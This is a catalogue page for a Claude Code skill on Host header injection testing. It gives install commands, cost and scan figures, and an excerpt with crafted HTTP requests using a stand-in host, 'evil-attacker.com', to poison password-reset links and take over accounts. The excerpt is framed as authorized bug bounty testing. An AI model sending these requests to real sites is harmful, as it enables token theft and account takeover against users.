host-header-injection-attacks

host-header-injection-attacks is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 68 tokens per session (2,372 once invoked), scanned A, a copy of host-header-injection-attacks, Apache-2.0.

A security-testing guide for Host header injection, where a website trusts the hostname supplied by the visitor. The Host header tells a server which website or virtual host the request targets.

In plain words
What is it for?
Testing login and password-reset flows, redirects, cache behavior, and routing in websites that build URLs from request headers.
Why use it?
It helps find flaws that can create malicious password-reset links, redirects, cache entries, or access to unintended virtual hosts.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin. Also seen: positional $N argument.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Testing login and password-reset flows, redirects, cache behavior, and routing in websites that build URLs from request headers.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/host-header-injection-attacks

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for host-header-injection-attacks

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/host-header-injection-attacks/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/host-header-injection-attacks)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/host-header-injection-attacks"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/host-header-injection-attacks/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for host-header-injection-attacks

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/host-header-injection-attacks"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/host-header-injection-attacks.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 68 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,372 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00068 $0.02372
Opus 5 $0.00034 $0.01186
Sonnet 5 $0.00014 $0.00474
Haiku 4.5 $0.00007 $0.00237

Measured 7d ago against content hash 419438ccdf4e, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

host-header-injection-attacks scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

This is a copy

100% identical to host-header-injection-attacks — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/bug-hunting/web-vulnerabilities/host-header-injection-attacks/SKILL.md · 211 lines

How it starts

The opening of the file, as written. The whole thing — 211 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Host Header Injection Attacks

When to Use

  • When testing Password Reset functionalities that generate emails containing "click here" links.
  • When an application performs HTTP 301/302 redirects back to its own domain based on the Host header.
  • To bypass virtual host routing to access internal development servers (e.g., accessing an unlisted admin.target.localhost).
  • To combine with Web Cache Poisoning to serve malicious absolute URLs to innocent users.

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Probing for Reflection

# Concept: The HTTP standard requires clients to supply a `Host` header indicating which 
# website they want to communicate with. If developers dynamically use this variable (e.g., `$_SERVER['HTTP_HOST']` in PHP) 
# instead of a static config, we can inject arbitrary domains.

# 1. Standard Request
GET /login HTTP/1.1
Host: target.com

HTTP/1.1 200 OK
<link rel="stylesheet" href="https://target.com/style.css">

# 2. Injected Request (Modify the Host header)
GET /login HTTP/1.1
Host: evil-attacker.com

# 3. Analyze Response
HTTP/1.1 200 OK
<link rel="stylesheet" href="https://evil-attacker.com/style.css">

# CRITICAL VULNERABILITY: The server blindly trusted our Host header to generate absolute URLs!

Phase 2: Exploiting Password Reset Poisoning (High Impact)

# Concept: Password resets send an email to the victim containing a unique token. 
# If the link domain is generated via the Host header, the attacker intercepts the token.

# 1. Attacker requests a password reset for [email protected]
POST /reset_password HTTP/1.1
Host: evil-attacker.com
Content-Type: application/x-www-form-urlencoded

[email protected]

# 2. What happens on the backend:
# Server generates token `XYZ123`.
# Server constructs email: "Click here to reset: https://" + HTTP_HOST + "/reset?token=XYZ123"
# The backend emails the victim: "Click here to reset: https://evil-attacker.com/reset?token=XYZ123"

# 3. Execution:
# Victim receives legitimate email from `[email protected]`.
# Victim clicks the heavily disguised link.
# The victim's browser navigates to `evil-attacker.com/reset?token=XYZ123`.
# The attacker logs the token, navigates to `target.com/reset?token=XYZ123`, and changes the victim's password. Account Takeover!

Read the full file on GitHub · 211 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 211 lines · 68 tokens per session scan A 419438ccdf4e

Subscribe to this mod's changes

host-header-injection-attacks is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 68 tokens to every session and 2,372 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to host-header-injection-attacks, differing in 0 lines, and is treated as a copy.

Related

Other skills, from other repositories

host-header-injection-attacks

Exploit insecure handling of the HTTP Host header to poison password resets, generate cache poisoning vectors, or bypass internal routing restrictions. Use this skill when web applications dynamically generate URLs, links, or redirects based on the arbitrary Host header value supplied by the client rather than relying…

ShulkwiSEC/bb-huge · 68 tokens

testing-for-host-header-injection

Test web applications for HTTP Host header injection vulnerabilities to identify password reset poisoning, web cache poisoning, SSRF, and virtual host routing manipulation risks.

Njones17/AI-agent-master-cyber-skills-list · 36 tokens

exploiting-api-injection-vulnerabilities

Tests APIs for injection vulnerabilities including SQL injection, NoSQL injection, OS command injection, LDAP injection, and Server-Side Request Forgery (SSRF) through API parameters, headers, and request bodies. The tester crafts malicious payloads targeting different backend technologies and injection contexts to…

xalgorix/xalgorix · 125 tokens

hunt-host-header

Hunt Host Header Injection — password reset poisoning → ATO, web cache poisoning via unkeyed Host/X-Forwarded-Host, routing-based SSRF (Host picks upstream → cloud metadata/internal services), path-override SSRF/ACL-bypass (X-Original-URL/X-Rewrite-URL), OAuth redirecturi/issuer poisoning, and absolute-URL link…

uphiago/recon-skills · 157 tokens

hunt-ssrf

Hunting skill for ssrf vulnerabilities. Built from 15 public bug bounty reports including AWS metadata SSRF (HackerOne $25k Analytics PDF, Shopify Exchange $25k, Capital One 106M-record breach, Dropbox/HelloSign $4,913), GCP metadata SSRF (Snapchat $4k), Azure IMDS SSRF (Azure DevOps $15k chain, ChatGPT Custom Actions…

uphiago/recon-skills · 164 tokens

broken-object-level-authorization

Identify and exploit Broken Object Level Authorization (BOLA), historically known as Insecure Direct Object Reference (IDOR), in API architectures. Extremely common and critical flaw where an API fails to validate whether the currently authenticated user actually owns or retains permissions over the specifically…

ShulkwiSEC/bb-huge · 63 tokens